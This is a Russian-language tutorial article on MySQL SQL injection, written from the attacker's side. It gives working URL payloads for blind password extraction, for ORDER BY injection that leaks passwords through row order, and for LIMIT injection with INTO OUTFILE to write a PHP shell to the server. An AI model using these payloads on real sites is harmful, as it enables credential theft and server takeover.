Поиск

Полнотекстовый поиск:
Где искать:
везде
только в названии
только в тексте
Выводить:
описание
слова в тексте
только заголовок

Рекомендуем ознакомиться

Информатика->Контрольная работа
Практически каждое изображение, с которым приходится работать, имеет некоторые недостатки. В большинстве случаев они вызваны несовершенством аппаратур...полностью>>
Информатика->Дипломная работа
Данная программа предназначена для изучения пользователем текстового процессора Word. Пользователь может изучить основные функции, освоить основы реда...полностью>>
Информатика->Курсовая работа
Большинство задач, интересных с практической точки зрения, имеют полиномиальные (работающие за полиномиальное время) алгоритмы решения. То есть время ...полностью>>
Информатика->Курсовая работа
У нашу епоху комп'ютер займає певне місце в житті людини. Хтось використає комп'ютер для ігор, хтось для навчання, деякі люблять посидіти в Internet. ...полностью>>

Главная > Статья >Информатика

Сохрани ссылку в одной из сетей:

Действительно, в описанной нами ситуации скорее всего будет выведен первый случайный пользователь, пароль которого удовлетворяет данным условиям. А о том, удовлетворяют эти условия целевому пользователю или нет мы никогда не узнаем, так он должен был бы вывестись вторым.

Те, если выводятся все результаты запроса, либо, играя с limit, все же можно узнать пароль целевого пользователя, но это может быть сопряжено с некоторыми трудностями.

Описанный прием лучше применять, если достаточно знать пароль любого пользователя, те все подобные пользователи равноправны.
Теперь, допустим, необходимо узнать пароль целевого пользователя. Для этого как минимум необходимо выяснить, как мы сможем идентифицировать запись в БД, соответствующую этому пользователю. Например, запись можно идентифицировать по идентификатору, или имени пользователя, либо по другим параметрам. В любом случае необходимо выяснить, какие значения должны быть в соответствующих столбцах искомой записи.

Например, идентифицировать некоторую запись администратора можно было бы так:

http://localhost/test.php?id=9999999+or+(id=1), или

http://localhost/test.php?id=9999999+or+(login=’admin’)

После того, как интересующая нас запись может быть идентифицирована, можно аналогичным образом подобрать пароль.

http://localhost/test.php?id=9999999+or+(id=1+AND+pass+like+’a%’) http://localhost/test.php?id=9999999+or+(id=1+AND+pass+like+’b%’)

и так далее.

Кроме того, для убыстрения поиска, в обоих случаях, можно воспользоваться дихотомическим поиском.

http://localhost/test.php?id=9999999+or+(id=1+AND+pass+>=+’k’) (-)

http://localhost/test.php?id=9999999+or+(id=1+AND+pass+>=+’g’) (+)

http://localhost/test.php?id=9999999+or+(id=1+AND+pass+>=+’h’) (-)

http://localhost/test.php?id=9999999+or+(id=1+AND+pass+>=+’fk’)

и так далее, последовательно перебирать каждую букву.

Стоит отметить, что в любом описанном в этой статье случае, строковую константу, заключенную в кавычки, можно заменить на функцию char(), с соответствующими аргументами.

Инъекция после order by

В нередких случаях внедрение произвольного кода возможна после ключевого слова order by. Наиболее часто подобная инъекция возможна, когда скрипт принимает в качестве параметра имя столбца, по которому следует произвести упорядочивание, и вставляет его в запрос без предварительной фильтрации.

Так как ключевое слово where согласно синтаксису SQL должно находиться перед order by, таким образом, невозможно внедрение булевых функций, ограничивающих вывод с целью получения информации о значениях некоторых записей.

Однако, в MySQL после order by, разрешено использовать функции и значения столбцов в произвольной комбинации, и пользуясь этим фактом, можно подобрать значения любых столбцов для произвольной и целевой записи в любой таблице, используемой в запросе.

Допустим, скрипт http://localhost/test2.php?order=id выводит список пользователей системы, упорядочив их по id, причем значение переменной order вставляется в скрипт без надлежащей фильтрации.

Стоит вспомнить, что в MySQL булевы значения приводятся к целым значениям, соответственно 0 и 1.

Заметим следующую особенность, http://localhost/test2.php?order=(-id*1) упорядочит строки от большего id к меньшему, и это понятно, так как упорядочивание происходит по противоположной функции.

Одновременно http://localhost/test2.php?order=(-id*0) выведет записи в естественном порядке, без всякого упорядочивания. Скорее всего, это будет тот порядок, в котором записи добавлялись в базу данных, и скорее всего, это будет порядок по возрастанию id. Это поведение также объяснимо. В этом случае упорядочивание происходит по функции, которая константно равна нулю на всем множестве полей, те, для любой записи в БД, значение (-id*0) одинаково и равно нулю. Т.е, никакого упорядочивания произведено не будет.

Ну, и как говорилось ранее, вместо нуля или единицы можно вставлять произвольные булевы условия, значение которых MySQL приведет к целому.

Примеры http://localhost/test2.php?order=(-id*(2=1)), или

http://localhost/test2.php?order=(-id*(‘abc’=’abc’))

Эти булевы условия могут содержать в том числе и значения других столбцов таблиц.

http://localhost/test2.php?order=(-id*(pass+like+’a%’))

http://localhost/test2.php?order=(-id*(pass+like+’b%’))

и так далее.

Теперь осталось научиться различать, отгадали мы или нет. В этом случае, в случае, если пароль не удовлетворяет введенному условию, то значение функции по которой делается упорядочивание будет равно нулю для таких записей.

В случае, если пароль для некоторых записей удовлетворяет введенному условию, то для таких записей упорядочивание произойдет по значению –id, которое всегда меньше нуля.

Если нет уверенности в том, что значение id всегда больше нуля, то можно поступить след образом:

http://localhost/test2.php?order=(-(abs(id)+1)*(pass+like+’b%’))

Теперь, функция, по которой происходит упорядочивание всегда меньше нуля для записей, для которых пароль удовлетворяет условию, и равен нулю, для которых условие для пароля неверно. Учитывая, что упорядочивание происходит по возрастанию, то все записи, для которых условие окажется верным, окажутся вверху списка.

Если нет гарантии, что упорядочивание действительно происходит по возрастанию, можно добавить ключевое слово ASK, и, возможно, обрезать оставшуюся часть запроса, символом /*, или %00.

Напомним, что /* обозначает открытие комментария. MySQL нормально реагирует на незакрытые комментарии в запросе. %00 же колирует символ с котом ноль, который в Си подобных языках обозначает конец строки, и функция MySQL API mysql_query(), посчитает этот символ обычным концом строки, а, значит и запроса.

Пример: http://localhost/test2.php?order=(-(abs(id)+1)*(pass+like+’b%’))+ASK+/*

И так, допустим исходное упорядочивание, по –id, было таким:

5 user5

4 user4

3 user3

2 admin

1 root

и, после запроса http://localhost/test2.php?order=(-id*(pass+like+’b%’)) стало таким:

4 user4

2 admin

1 root

3 user3

5 user5, то этот результат следует интерпретировать, как то, что пароли у user4 и admin начинаются на символ b.

Аналогичным образом подбирается и весь пароль.

Если нас интересует пароль любого пользователя, то положительным результатом мы считаем, если в “вылезшем наверх” списке пользователей присутствует хотя бы один пользователь. Если же нас интересует пароль, какого то конкретного пользователя, то положительным результатом мы считаем то, что, этот пользователь присутствует в вылезшем наверх списке.

В качестве основы этого метода лежит упорядочивание по произведению двух функций – отрицательной для всех записей основной функции, и сигнальной булевой функции. Знак минус взят для того, чтобы интересующие нас результаты появлялись в начале списка, а не в конце, те просто для удобства.

В большинстве случаев, в качестве основной функции можно взять (-id), или (-(abs(id)+1)), однако, это может быть и любая другая функция, возвращающая разные значения для разных записей в таблице. Например, это может быть длина некоторого текстового поля, или даже комбинации некоторых функций от некоторых полей.

В этом примере, аналогичным образом можно использовать дихотомический поиск, и функцию char() вместо строк-констант.

PHP SHELL, или инъекция после limit

Действительно, почти безнадежным делом в инъекции в MySQL 3.x может стать то, что инъекция возможна после ключевого слова limit. Это вероятно в тех ситуациях, когда скрипт принимает и, не фильтруя, вставляет в запрос параметр, отвечающий за количество или смещение выведенных записей (например, номер страницы, количество записей на странице).

К счастью программиста, допустившего ошибку, и к разочарованию хакера, после параметрами limit могут быть только целые числа, а не выражения.

Конструкция into outfile в руководстве MySQL описана идущей сразу после select, однако, как показывает практика, ее можно поставить и в самый конец запроса, после limit. Таким образом, единственное, что сможет сделать хакер в такой ситуации, это попытаться сохранить результаты запроса в файл с произвольным месторасположением и именем.

Напомним, что имеется несколько ограничений.

Файл не должен существовать на диске

У пользователя MySQL должны быть права на работу с файлами (file_priv)

Целевая директория должна быть доступна на запись всем пользователям.

Имя файла должно быть с полным путем.

Имя файла должно быть строкой в кавычках. Использования выражений не допускается

Таким образом, если хакер знает полный путь до веб каталога на сервере, знает имя папки, в которую разрешена запись всем пользователям (такую папку он сможет найти и перебором), то нападающий сможет вывести результаты запроса в файл, в том числе с расширением, сопоставленным с некоторым интерпретатором, например PHP.

Однако, как внедрить в результат запроса злонамеренные данные, например PHP Shell код? Ответ на этот вопрос не очевиден, и дать на него ответ должен сам нападающий, исследуя конкретную систему.

Так, например, если инъекция после limit возможна в скрипте, выводящем сообщения на форуме, в параметре, отвечающим за номер страницы, то, вероятно, для положительного результата следует добавить сообщение на форуме, содержащее PHP Shell код, и затем произвести сохранение результатов запроса в файл.

Запрос может быть примерно таким http://localhost/test3?page=34+into+outfile+’/path/to/web/banners/cmd.php’, где на 34-ую страницу форума добавлено сообщение типа

В случае, если, кроме того, на сервере присутствует уязвимость типа local php source code injection, то практически в любом случае таким образом можно создать файл с PHP shell кодом в любой общедоступной на запись директории, с последующем подцеплением этого файла в уязвимости типа PHP инъекция. Например, директория /tmp/, обычно доступна на запись всем пользователям.

Стоит еще раз заметить, что в качестве имени файла нельзя использовать выражения, а, значит, и привычный фокус с char(), не пройдет в случае, если кавычки фильтруются.

Стоит отметить, что фокус с into outfile будет возможен и в других двух вышеописанных случаях, и эксплуатироваться он будет примерно также.

Внимание.

Все приведенные HTTP запросы в статье – это всего лишь примеры, демонстрирующие принцип. В реальных системах запросы могут выглядеть иначе, иметь более сложный вид, однако принцип сохраниться тот же.

Кроме того

Я не стал описывать в статье подробно некоторые другие довольно часто встречаемые ошибки в скриптах, которые довольно подробно описаны и в других источниках.

Например, если при сравнении пароля с паролем в БД используется функция like а не =, то значение % совпадет с любым паролем.



Загрузить файл

Похожие страницы:

  1. Защита базы данных спортивного магазина

    Реферат >> Государство и право
    ... приложения 5 1.4.Методика создания приложений баз данных 8 1.5.Защита баз данных 9 2.Специальная часть 2.1.Постановка задачи ... 10.Защита базы данных и самого приложения. 1.5.Защита баз данных Защита с использованием пароля БД Данный способ защиты позволяет ...
  2. База данных для автоматизации работы с данными

    Реферат >> Информатика
    ... операционной системы. Защита базы данных Microsoft Access обеспечивает два традиционных способа защиты базы данных: установка пароля ... , требуемого при открытии базы данных, и защита на уровне ...
  3. Базы данных Автомобильная стоянка

    Курсовая работа >> Информатика, программирование
    ... файлы базы данных являются разделяемыми ресурсами в сети. В Access реализована надёжная система защиты от ... различные отчёты на основе данных таблиц и других объектов базы данных; 6) Защита базы данных. Эти средства позволяют ...
  4. Уязвимости баз данных

    Курсовая работа >> Информатика
    ... настройки или неправильная конфигурация защиты базы данных сделает большинство вашей наиболее ... мере обратить свой взгляд на защиту баз данных. У него не хватает ... выполняет и другие функции, связанные с защитой баз данных. Но, поскольку нас интересует только ...
  5. Реляционные базы данных (2)

    Реферат >> Информатика
    ... основные функции СУБД — создание базы данных, чтение и ввод данных, реализацию защиты базы данных и т.д.Правило 6 касается представлений ...

Хочу больше похожих работ...

Generated in 0.0019078254699707